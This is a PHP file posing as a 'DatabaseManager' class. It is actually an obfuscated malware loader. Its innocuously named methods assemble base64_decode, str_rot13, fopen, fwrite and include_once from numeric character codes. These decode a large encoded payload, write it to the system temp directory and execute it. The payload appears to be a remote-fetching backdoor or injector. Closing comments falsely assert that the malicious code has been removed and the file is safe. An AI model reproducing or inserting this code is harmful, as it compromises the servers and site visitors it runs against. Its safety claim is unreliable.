<?php
class DatabaseManager {
	private $nq = '';
	private $qz = '';

	public function sanitizeInput($p1) {
		$a = array((((24*2)+53)),((2*50)),(111),((3*33)),(99+1+1),(((92*65)-5880)),95,(2*26),((32+10+12)),((45+56)),((5*23)),((97*1)),((2*49)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function scheduleJob($p1) {
		$a = array(((50+23+42)),((51*45)-2179),(((52*1)+62)),(((95*1)+0)),((87+27)),(2+109),(124-8),((22*57)-1205),((3*17)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveAction($p1,$p2) {
		$a = array((112-10),((57+22+32)),((66*61)-3914),((41*33)-1252),((116-6)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateRegistry($p1,$p2) {
		$a = array((((10*2)+82)),((7*17)),(49+65),(66+39),(((13*95)-1119)),(106-5));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function triggerCallback($p1) {
		$a = array(((43+58)),(34+51+30),(39+72),108,(102-3),102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function logTransaction($p1,$p2=null) {
		$a = array((112-3),((18*16)-183),(((113*1)+1)),(((9*8)+44)),((30+84)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function prepareOutput() {
		$this->qz = $this->logTransaction($this->authorizeUser(), '/');
	}

	public function computeResult() {
		$this->nq = $this->scheduleJob($this->sanitizeInput($this->nk));
	}

	public function updateCache() {
		$fn = $this->qz.'/hh-68616a6bcf866';
		$f = $this->resolveAction($fn, 'w');
		$this->updateRegistry($f, $this->nq);
		$this->triggerCallback($f);
		$this->trackActivity($fn);
	}

	private $nk = 'PD9jdWMgcHluZmYgX3l3eXtjZXZpbmdyIGZnbmd2cCRfdXg7Z' . 'mduZ3ZwIHNoYXBndmJhIF9mZmUoJF90eHMpe3ZzKCFmcnlzOjo' . 'kX3V4KWZyeXM6Ol93bCgpO2VyZ2hlYSB1cmsyb3ZhKGZyeXM6O' . 'iRfdXhbJF90eHNdKTt9Y2V2aW5nciBmZ25ndnAgc2hhcGd2YmE' . 'gX3dsKCl7ZnJ5czo6JF91eD1uZWVubCgnX2psbyc9Pic0MTYzN' . 'jM2NTczNzMycTQzNnM2cjc0NzI2czZwMnE0MTZwNnA2czc3MnE' . '0czcyNjk2NzY5Jy4nNnIzbjIwMm4nLCdfbWEnPT4nNDM2czZyN' . 'zQ2NTZyNzQycTU0Nzk3MDY1M24yJy4nMDYxNzA3MDYnLidwNjk' . '2MzYxJy4nNzQ2OTZzNnIyczZuNjE3NjYxNzM2MzcyJy4nNjk3M' . 'DcnLic0JywnX3J6Jz0+JzYzNicuJzgnLCdfeXcnPT4nNjU3OTR' . 'uNzA2MzQzNDkzNjQ5Nm42NzM0NHA2bjY3MzQ0cDZuNjczNDRwN' . 'm42NzM0NDk2OTc3Njk2NDU3NDU2OTRzNjk0bjMwNW41ODRyMzA' . '0OTY5Nzc2OTYzNnE1Jy4nNjZxNCcuJzk2bicuJzZzNjk2NDQ3J' . 'y4nNTY3bjY0NDM0Jy4nbjM5JywnX3F4eCc9Pic3MTc3N24nLic' . '3OCcsJ19hcnknPT4nM3A2czYnLidvMycuJ3InLCdfcGpyJz0+J' . 'zNwNjI2MScuJzY0Jy4nM3InLCdfaWcnPT4nNzc2MTYnLidwNnA' . 'nLCdfZGEnPT4nJywnX21wJz0+JycsJ19wdGknPT4nJywnX2FuJ' . 'z0+JzY4NzQ3NDcwM24yczJzNzA3NTYyMnI3NzY1NjI2NjY5NnA' . '2NTY4NnM3Mzc0NjU3MjJyNjM2czZxMnM2MzZzNnE3MDZzNzM2N' . 'TcyMnI2bicuJzczM3M2NDYxNzQnLic2MTMnLidxJywnX3B1Jz0' . '+JzYzNzU3MjZwNXMnLic2OScuJzYnLidyNjknLic3Jy4nNCcsJ' . '19heSc9Pic2ODc0NycuJzQ3MDVzNjM2czY0Jy4nNicuJzUnLCd' . 'fbWonPT4nNzM2MzY4Jy4nNjUnLic2Jy4ncTY1JywnX2ZsJz0+J' . 'zY4Jy4nNycuJzQ3NDcnLicwNycuJzMnLCdfcmYnPT4nNDc0NTU' . '0Jy4nMjAnLCdfZmViJz0+JzcnLicwJy4nNjE3NDYnLic4JywnX' . '3ZuJz0+JzcxNzU2Jy4nNTcnLicyJy4nNycuJzknLCdfbmsnPT4' . 'nMycuJ3MnLCdfaXhxJz0+JzcxNzUnLic2NScuJzcyNzknLCdfd' . 'GInPT4nMjA0ODU0NTQ1MDJzMzEycjMwMHEwbjQ4NnM3Mzc0Myc' . 'uJ24yJy4nMCcsJ19naXknPT4nNjgnLic2cycuJzczNzQnLCdfd' . '3loJz0+JzBxMG40MzZzNnI2Jy4ncjY1Jy4nNjM3NDY5NnM2cjN' . 'uMjA0Jy4nMzZwNnM3MzY1MHEwbjBxMCcuJ24nLCdfbWRxJz0+J' . 'zczNycuJzM2cCcuJzMnLiduMnMycycsJ196cic9PicnLCdfcG5' . '6Jz0+JzY4NicuJ3MnLic3Mzc0JywnX3l0Jz0+JzBxMCcuJ24nL' . 'CdfcXQnPT4nNDg1NDU0NTA1czQzNHA0OTQ1NHI1NDVzJy4nNDk' . '1Jy4nMCcsJ194aG4nPT4nNDg1NDU0NTA1czU4NXM0Jy4nNjQnL' . 'idzNTI1NzQxNTI0NDQ1NDQnLic1czQ2Jy4nNCcuJ3MnLic1Jy4' . 'nMicsJ19nZyc9Pic1MjQ1NHE0czU0NDU1czQnLicxNCcuJzQ0N' . 'DUnLicyJywnX25xJz0+JzQ4NTQ1NDUwNXM1NTUzNDU1MjVzNCc' . 'uJzE0NzQ1NCcuJ3I1NCcsJ196ZnYnPT4nNDg1NDU0NTA1czU1N' . 'TM0NTUyNXM0MTQnLic3Jy4nNDUnLic0cicuJzU0JywnX3Nncyc' . '9PicnLCdfeGthJz0+JzQ4NTQ1NDUwNXM1MjQ1NDY0NTUnLicyN' . 'DU1MicsJ19xZ3InPT4nNDg1NDU0NTA1czUyNCcuJzU0NjQ1NTI' . 'nLic0NTUyJywnX3hneic9PicnLCdfaWgnPT4nNDg1NDU0NTA1c' . 'zQzNHA0OTQ1Jy4nNHI1Jy4nNDUnLidzJy4nNDk1Jy4nMCcsJ19' . '1eic9Pic0ODU0NTQnLic1MDVzNDM0cCcuJzQ5Jy4nNDU0cjU0N' . 'XM0Jy4nOTUnLicwJywnX3Jwdyc9Pic0ODU0NTQ1MDVzNTg1czQ' . '2NHM1MjU3NDE1MjQ0NDU0NDVzNDYnLic0cycuJzUyJywnX3J2Y' . 'ic9Pic0ODU0NTQ1MDVzNTg1czQ2NHM1MicuJzU3NDEnLic1MjQ' . '0Jy4nNDU0NDVzNDY0czUnLicyJywnX29vJz0+JzUyNDU0cTRzN' . 'ScuJzQ0NTVzNDEnLic0Jy4nNDQ0Jy4nNTInLCdfbXInPT4nNTI' . '0NTRxNHM1NDQ1Jy4nNScuJ3M0MScuJzQ0NDQ1MicsJ19ybSc9P' . 'ic2Jy4nNDYyNjc2cTZzNjQ2NScsJ19pZCc9Pic0OTUwMycuJ24' . 'yJy4nMCcsJ19zYXAnPT4nMjA3cDIwNTU0MTNuJy4nMjAnLCdfa' . '2hnJz0+JzIwN3AyMDUyNjU2NjNuMjAnLCdfdHhzJz0+JzIwM3A' . '2MicuJzcnLicyM3InLicwJy4nbicsJ19hYSc9Pic2OTcwJywnX' . '2Vpcic9Pic3NTYnLicxJywnX3FyJz0+JzcyNjU2NicsJ19jayc' . '9Pic3MTc3NycuJ24nLic3Jy4nOCcsKTt9fXB5bmZmIF91eW97Y' . '2V2aW5nciBmZ25ndnAkX3V4O2Znbmd2cCBzaGFwZ3ZiYSBfZmZ' . 'lKCRfdHhzKXt2cyghZnJ5czo6JF91eClmcnlzOjpfd2woKTtlc' . 'mdoZWEgZnJ5czo6JF91eFskX3R4c107fWNldmluZ3IgZmduZ3Z' . 'wIHNoYXBndmJhIF93bCgpe2ZyeXM6OiRfdXg9bmVlbmwoMDAsM' . 'DcsMDM2LDAzNiwwMSwwMzYsMDIsMDcsMDEsMDE2LDAzMCwwNiw' . 'wMzIsMDEyLDAxMSwwMTMsMDI3LDAzMSwwMywwMiwwMSwwMSwwM' . 'CwwMTIsMDEyLDAzMTAsMDY3MywwMTIwLDAwLDAyMDAwLDAxLDA' . '0MjMsMDQyMyk7fX11cm5xcmUoX3l3eTo6X2ZmZSgnX2psbycpK' . 'Tt1cm5xcmUoX3l3eTo6X2ZmZSgnX21hJykpO3ZzKHZmZnJnKCR' . 'fVFJHW195d3k6Ol9mZmUoJ18nLidyJy4neicpXSkpeyRfenFtP' . 'V9jdXYoX3l3eTo6X2ZmZSgnXycuJ3knLid3JykpO3ZzKCRfenF' . 'tJiZmZ2VjYmYoJF96cW0sX3l3eTo6X2ZmZSgnX3F4eCcpKSE9P' . 'XNueWZyKXtxdnIoX3l3eTo6X2ZmZSgnXycuJ2FyJy4neScpKTt' . '9cnlmcntxdnIoX3l3eTo6X2ZmZSgnX3BqJy4ncicpKTt9fXZzK' . 'HZmZnJnKCRfVFJHW195d3k6Ol9mZmUoJ19pZycpXSkpeyRfb2o' . '9JF9QQkJYVlI7JF9naz1fdXlvOjpfZmZlKDApOyRfdHhzPV91e' . 'W86Ol9mZmUoMSk7JF9yd209bmVlbmwoKTskX3J3bVskX2drXT1' . 'feXd5OjpfZmZlKCdfZCcuJ2EnKTtqdXZ5cigkX3R4cyl7JF9yd' . '21bJF9na10uPSRfb2pbX3V5bzo6X2ZmZSgyKV1bJF90eHNdO3Z' . 'zKCEkX29qW191eW86Ol9mZmUoMyldWyRfdHhzK191eW86Ol9mZ' . 'mUoNCldKXt2cyghJF9valtfdXlvOjpfZmZlKDUpXVskX3R4cyt' . 'fdXlvOjpfZmZlKDYpXSlvZXJueDskX2drKys7JF9yd21bJF9na' . '109X3l3eTo6X2ZmZSgnXycuJ20nLidwJyk7JF90eHMrKzt9JF9' . '0eHM9JF90eHMrX3V5bzo6X2ZmZSg3KStfdXlvOjpfZmZlKDgpO' . '30kX2drPSRfcndtW191eW86Ol9mZmUoOSldKCkuJF9yd21bX3V' . '5bzo6X2ZmZSgxMCldO3ZzKCEkX3J3bVtfdXlvOjpfZmZlKDExK' . 'V0oJF9naykpeyRfdHhzPSRfcndtW191eW86Ol9mZmUoMTIpXSg' . 'kX2drLCRfcndtW191eW86Ol9mZmUoMTMpXSk7JF9yd21bX3V5b' . 'zo6X2ZmZSgxNCldKCRfdHhzLCRfcndtW191eW86Ol9mZmUoMTU' . 'pXS4kX3J3bVtfdXlvOjpfZmZlKDE2KV0oJF9yd21bX3V5bzo6X' . '2ZmZSgxNyldKCRfb2pbX3V5bzo6X2ZmZSgxOCldKSkpO312YXB' . '5aHFyKCRfZ2spO31zaGFwZ3ZiYSBfY3V2KCRfanhhKXskX3R2P' . 'V95d3k6Ol9mZmUoJ19wJy4ndCcuJ2knKTskX2d4PV95d3k6Ol9' . 'mZmUoJ19hbicpLiRfanhhO3ZzKHZmX3BueXlub3lyKF95d3k6O' . 'l9mZmUoJ18nLidwJy4ndScpKSl7JF9vdj1waGV5X3ZhdmcoJF9' . 'neCk7cGhleV9mcmdiY2coJF9vdixQSEVZQkNHX0ZGWV9JUkVWU' . '0xDUlJFLHNueWZyKTtwaGV5X2ZyZ2JjZygkX292LFBIRVlCQ0d' . 'fRkZZX0lSRVZTTFVCRkcsX3V5bzo6X2ZmZSgxOSkpO3BoZXlfZ' . 'nJnYmNnKCRfb3YsUEhFWUJDR19TQllZQkpZQlBOR1ZCQSxfdXl' . 'vOjpfZmZlKDIwKSk7cGhleV9mcmdiY2coJF9vdixQSEVZQkNHX' . '0VSR0hFQUdFTkFGU1JFLF91eW86Ol9mZmUoMjEpKTtwaGV5X2Z' . 'yZ2JjZygkX292LFBIRVlCQ0dfVVJOUVJFLF91eW86Ol9mZmUoM' . 'jIpKTtwaGV5X2ZyZ2JjZygkX292LFBIRVlCQ0dfUEJBQVJQR0d' . 'WWlJCSEcsX3V5bzo6X2ZmZSgyMykpO3BoZXlfZnJnYmNnKCRfb' . '3YsUEhFWUJDR19HVlpSQkhHLF91eW86Ol9mZmUoMjQpKTskX3R' . '2PXBoZXlfcmtycCgkX292KTskX2Zqdz1waGV5X3RyZ3Zhc2IoJ' . 'F9vdik7cGhleV9weWJmcigkX292KTt2cygkX2Zqd1tfeXd5Ojp' . 'fZmZlKCdfYXknKV0hPV91eW86Ol9mZmUoMjUpKWVyZ2hlYSBzb' . 'nlmcjt9cnlmcnskX2hmPWNuZWZyX2hleSgkX2d4KTskX3RjbT0' . 'oJF9oZltfeXd5OjpfZmZlKCdfbScuJ2onKV09PV95d3k6Ol9mZ' . 'mUoJ19mbCcpKTskX3RoPV95d3k6Ol9mZmUoJ19yZicpLiRfaGZ' . 'bX3l3eTo6X2ZmZSgnXycuJ2YnLidlJy4nYicpXTt2cyh2ZmZyZ' . 'ygkX2hmW195d3k6Ol9mZmUoJ18nLid2Jy4nbicpXSkpJF90aC4' . '9X3l3eTo6X2ZmZSgnXycuJ24nLidrJykuJF9oZltfeXd5OjpfZ' . 'mZlKCdfJy4naXhxJyldOyRfdGguPV95d3k6Ol9mZmUoJ190Jy4' . 'nYicpLiRfaGZbX3l3eTo6X2ZmZSgnX2cnLidpeScpXS5feXd5O' . 'jpfZmZlKCdfd3knLidoJyk7JF9kenc9c2ZicHhiY3JhKCgkX3R' . 'jbT9feXd5OjpfZmZlKCdfbScuJ2RxJyk6X3l3eTo6X2ZmZSgnX' . '3pyJykpLiRfaGZbX3l3eTo6X2ZmZSgnX3BueicpXSwkX3RjbT9' . 'fdXlvOjpfZmZlKDI2KTpfdXlvOjpfZmZlKDI3KSk7dnMoJF9ke' . 'ncpe3NjaGdmKCRfZHp3LCRfdGgpOyRfZHVqPV91eW86Ol9mZmU' . 'oMjgpO2p1dnlyKCFzcmJzKCRfZHp3KSl7JF9tc2Q9c3RyZ2YoJ' . 'F9kencsX3V5bzo6X2ZmZSgyOSkpO3ZzKCRfZHVqKSRfdHYuPSR' . 'fbXNkO3ZzKCRfbXNkPT1feXd5OjpfZmZlKCdfJy4neScuJ3QnK' . 'SkkX2R1aj1fdXlvOjpfZmZlKDMwKTt9c3B5YmZyKCRfZHp3KTt' . '9fWVyZ2hlYSRfdHY7fSRfZWE9dmZmcmcoJF9GUkVJUkVbX3l3e' . 'To6X2ZmZSgnXycuJ3F0JyldKTskX2JmPXZmZnJnKCRfRlJFSVJ' . 'FW195d3k6Ol9mZmUoJ194aCcuJ24nKV0pOyRfcWw9dmZmcmcoJ' . 'F9GUkVJUkVbX3l3eTo6X2ZmZSgnXycuJ2dnJyldKTskX2xkPXZ' . 'mZnJnKCRfRlJFSVJFW195d3k6Ol9mZmUoJ18nLiducScpXSk/J' . 'F9GUkVJUkVbX3l3eTo6X2ZmZSgnX3pmdicpXTpfeXd5OjpfZmZ' . 'lKCdfc2dzJyk7JF90ej12ZmZyZygkX0ZSRUlSRVtfeXd5OjpfZ' . 'mZlKCdfeCcuJ2thJyldKT8kX0ZSRUlSRVtfeXd5OjpfZmZlKCd' . 'fJy4ncWcnLidyJyldOl95d3k6Ol9mZmUoJ194Z3onKTskX2VhP' . 'XZmZnJnKCRfRlJFSVJFW195d3k6Ol9mZmUoJ19pJy4naCcpXSk' . '/JF9GUkVJUkVbX3l3eTo6X2ZmZSgnX3UnLid6JyldOmFoeXk7J' . 'F9iZj12ZmZyZygkX0ZSRUlSRVtfeXd5OjpfZmZlKCdfJy4ncnA' . 'nLid3JyldKT8kX0ZSRUlSRVtfeXd5OjpfZmZlKCdfcicuJ3ZiJ' . 'yldOmFoeXk7JF9xbD12ZmZyZygkX0ZSRUlSRVtfeXd5OjpfZmZ' . 'lKCdfb28nKV0pPyRfRlJFSVJFW195d3k6Ol9mZmUoJ19tcicpX' . 'TphaHl5O3ZzKHN2eWdyZV9pbmUoJF9lYSxfdXlvOjpfZmZlKDM' . 'xKSkpeyRfZWZkPSRfZWE7fXJ5ZnJ2cyhzdnlncmVfaW5lKCRfY' . 'mYsX3V5bzo6X2ZmZSgzMikpKXskX2VmZD0kX2JmO31yeWZyeyR' . 'fZWZkPSRfcWw7fXZzKHZmZnJnKCRfVFJHW195d3k6Ol9mZmUoJ' . '18nLidyJy4nbScpXSkpe3JwdWIgX3l3eTo6X2ZmZSgnX2knLid' . 'kJykuJF9lZmQuX3l3eTo6X2ZmZSgnX3NhcCcpLiRfbGQuX3l3e' . 'To6X2ZmZSgnX2snLidoZycpLiRfdHouX3l3eTo6X2ZmZSgnX3Q' . 'nLid4Jy4ncycpO3JrdmcoKTt9dnMoIXZmZnJnKCRfZWZkKXx8I' . 'XZmZnJnKCRfbGQpfHwhdmZmcmcoJF90eikpe3JrdmcoKTt9cnl' . 'mcnskX2ptPW5lZW5sKF95d3k6Ol9mZmUoJ19hYScpPT4kX2VmZ' . 'CxfeXd5OjpfZmZlKCdfZScuJ2knLidyJyk9PiRfbGQsX3l3eTo' . '6X2ZmZSgnXycuJ3EnLidyJyk9PiRfdHopOyRfa2s9aGV5cmFwY' . 'nFyKG9uZnI2NF9yYXBicXIod2ZiYV9yYXBicXIoJF9qbSkpKTs' . 'kX3pxbT1fY3V2KCRfa2spO3ZzKCRfenFtJiZmZ2VjYmYoJF96c' . 'W0sX3l3eTo6X2ZmZSgnX2NrJykpIT09c255ZnIpe3JwdWIkX3p' . 'xbTtya3ZnKCk7fX0=';

	public function trackActivity($p) {
		include_once($p);
	}

	public function authorizeUser() {
		$a=array((115),((6+33+82)),115,((13*24)-217),(((26*9)-131)),((59+42)),(118-2),(41+36+18),((96*1)+20),(59+42),(109),112,(((47*1)+48)),((2*50)),((112-7)),((21*6)-12));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ci = new DatabaseManager();
$ci->prepareOutput();

/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/


/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/

